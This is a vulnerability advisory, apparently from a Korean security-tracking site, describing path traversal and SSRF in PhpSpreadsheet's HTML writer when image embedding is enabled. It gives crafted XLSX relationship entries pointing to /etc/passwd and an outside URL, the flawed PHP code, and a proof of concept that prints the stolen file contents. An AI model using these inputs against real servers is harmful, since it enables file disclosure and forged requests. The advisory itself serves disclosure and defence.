PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N상세 설명
Summary
It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with $writer->setEmbedImages(true); those files will be included in the output as data: URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.
Details
XLSX files allow embedding or linking media. When
In xl/drawings/drawing1.xml an attacker can do e.g.:
1<a:blip cstate="print" r:link="rId1" />And then, in xl/drawings/_rels/drawing1.xml.rels they can set the path to anything, such as:
1<Relationship Id="rId1" 2 Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" 3 Target="/etc/passwd" />or
1<Relationship Id="rId1" 2 Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" 3 Target="http://example.org" />When the HTML writer is outputting the image, it does not check the path in any way. Also the getimagesize() call does not mitigate this, because when getimagesize() returns false, an empty mime type is used.
1if ($this->embedImages || str_starts_with($imageData, 'zip://')) { 2 $picture = @file_get_contents($filename); 3 if ($picture !== false) { 4 $imageDetails = getimagesize($filename) ?: ['mime' => '']; 5 // base64 encode the binary data 6 $base64 = base64_encode($picture); 7 $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64; 8 } 9}10 11$html .= '<img style="position: absolute; z-index: 1; left: '12 . $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: '13 . $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;" src="'14 . $imageData . '" alt="' . $filedesc . '" />';PoC
1<?php 2 3require 'vendor/autoload.php'; 4 5$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx"); 6$spreadsheet = $reader->load(__DIR__ . '/book.xlsx'); 7 8$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); 9$writer->setEmbedImages(true);10$output = $writer->generateHTMLAll();11 12// The below is just for demo purposes13 14$pattern = '/data:;base64,(?<data>[^"]+)/i';15 16preg_match_all($pattern, $output, $matches);17 18print("*** /etc/passwd content: ***\n");19print(base64_decode($matches['data'][0]));20 21print("*** HTTP response content: ***\n");22print(base64_decode($matches['data'][1]));Add this file in the same directory:
book.xlsx
Run with:
php index.php
Impact
When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. revealing secrets. Note that any PHP protocol wrappers can be used, meaning that if for example the expect:// wrapper is enabled, also remote code execution is possible.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 6
링크 내용 불러오는 중…